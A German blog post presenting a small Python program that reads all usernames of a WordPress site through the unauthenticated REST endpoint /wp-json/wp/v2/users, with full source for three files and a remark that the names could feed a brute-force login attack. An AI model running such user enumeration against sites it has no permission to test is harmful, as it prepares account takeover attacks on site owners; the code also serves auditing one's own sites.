Seit 2015 bietet WordPress auch ein REST API an, diese ist in jeder Version standardmäßig aktiv und benötigt zur Nutzung keine weitere Authentifizierung. Diesen Umstand habe ich mir zunutze gemacht und ein Programm verfasst, welches sämtliche Benutzernamen einer WordPress-Webseite ausliest. Etwas weiter gedacht könnte man die auf diese Weise erhaltenen  Benutzernamen sicherlich für einen Brute-Force-Angriff auf WordPress Webseiten nutzen.

Generell ist das Programm aber auch ein schönes Beispiel für den Zugriff auf eine solche REST API.

Das Programm ist objektorientiert aufgebaut und besteht aus einer Main.py, welche das eigentliche Programm enthält, sowie einer Datei mit Klassen und Methoden (classes.py). Alle Einstellungen werden innerhalb der Datei program_settings.py vorgenommen.

 

Main.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

import json                            # For Parsing
import sys                             # For clean Program Exit
import requests                        # HTTP_Request to API
import logging                         # Error Logging

import classes as myclasses            # Classes of this Program
import program_settings as config      #My Settings_file

#Enable Errorlogging with Settings from program_settings.py
config.set_logdir()
logger = logging.getLogger('')

# Load the Target-URL from program_settings.py
url = config.target

# # Query the API
response = requests.get(url + '//wp-json/wp/v2/users', allow_redirects = False)
data = response.text  # The request body

# load the json to a string
resp = json.loads(data)

# Handover HTTP Status Code to Class in config
CallClass = myclasses.OutputTTY(response.status_code)

#Formatted Output 
if response.status_code == 200:
     CallClass.OnSuccess()

     #Begin Logging
     logger.info('---BOF---')
     logger.info('Usernames retrieved:')
     logger.debug(resp)
     logger.debug ('Available Keys in JSON-Dictionary:')
     logger.debug (resp[0].keys())

     # Give out all Usernames to TTY and LogFile
     for i in resp:
         print (i['slug'])
         logger.debug('Got Username:')
         logger.info(i['slug'])
     logger.info('---EOF---') 
     sys.exit()
else:
     if resp['code'] =='rest_no_route':
        CallClass.OnError() 
     else:
         CallClass.OnError()
     logger.info(data)
     sys.exit()

program_settings.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

import logging                      # error logging
import os                           # fancy paths


# Change the Target-URL here
target = 'http://192.168.2.173'
 
def set_logdir():
    # Define the Path for logging relative to the current Workingdirectory (current Workindirectory\\logs\[LOGFILE}])
    log_dir = os.path.join(os.path.normpath(os.getcwd() + os.sep), 'logs')
    log_fname = os.path.join(log_dir, 'wp_api.log')

    # Set Loglevel and specify logging to file
    logging.basicConfig(format='%(asctime)s %(levelname)-8s %(message)s',
                    level=logging.INFO, datefmt='%Y-%m-%d %H:%M:%S',
                    filename=log_fname)

classes.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

from colorama import Fore, Style    #Terminal_Colours

# Defining a class
class OutputTTY:
    #Retrieve Values from main.py
    def __init__(self, HTTP_STATUS_CODE):  
        #self.course = course
        self.HTTP_STATUS_CODE = HTTP_STATUS_CODE 
        
    #create output for main.py
    def OnError(self):
         print ('-------------------------')
         print (Fore.RED +"Failure ! -- Couldn't reach API.")
         print (Fore.WHITE +'Errorcode:', Fore.YELLOW +'HTTP', self.HTTP_STATUS_CODE)
         print(Style.RESET_ALL)
         print ('-------------------------')
         
    
    def OnSuccess(self):
        print (Fore.WHITE +'-------------------------')
        print (Fore.GREEN +'Success!', Fore.WHITE +'The API is reachable --', Fore.GREEN +'Recieved: HTTP', self.HTTP_STATUS_CODE)
        print (Fore.WHITE +'-------------------------')
        print (Fore.WHITE +'Retrieving Usernames...')
        print (Fore.WHITE +'-------------------------')
        print (Fore.GREEN +'Usernames retrieved:')
        print ('')
        print(Style.RESET_ALL)

Das gesamte Programm kann hier heruntergeladen werden.